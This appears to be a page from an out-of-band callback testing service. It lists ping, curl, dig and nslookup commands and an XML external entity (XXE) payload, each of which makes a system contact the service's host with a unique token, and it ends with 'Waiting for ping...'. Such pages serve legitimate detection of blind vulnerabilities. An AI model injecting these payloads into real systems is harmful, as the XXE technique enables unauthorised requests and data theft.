$ ping -c1 -p 00534bc0a079cef12d933e91b0cd3000 unhack.ca
 
$ curl http://unhack.ca/p/534bc0a079cef12d933e91b0cd30
 
$ dig 534bc0a079cef12d933e91b0cd30 @unhack.ca
 
$ dig 534bc0a079cef12d933e91b0cd30.ns.unhack.ca
 
C:\> nslookup 534bc0a079cef12d933e91b0cd30 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/534bc0a079cef12d933e91b0cd30">]>
    <foo>&xxe;</foo>
 
Waiting for ping...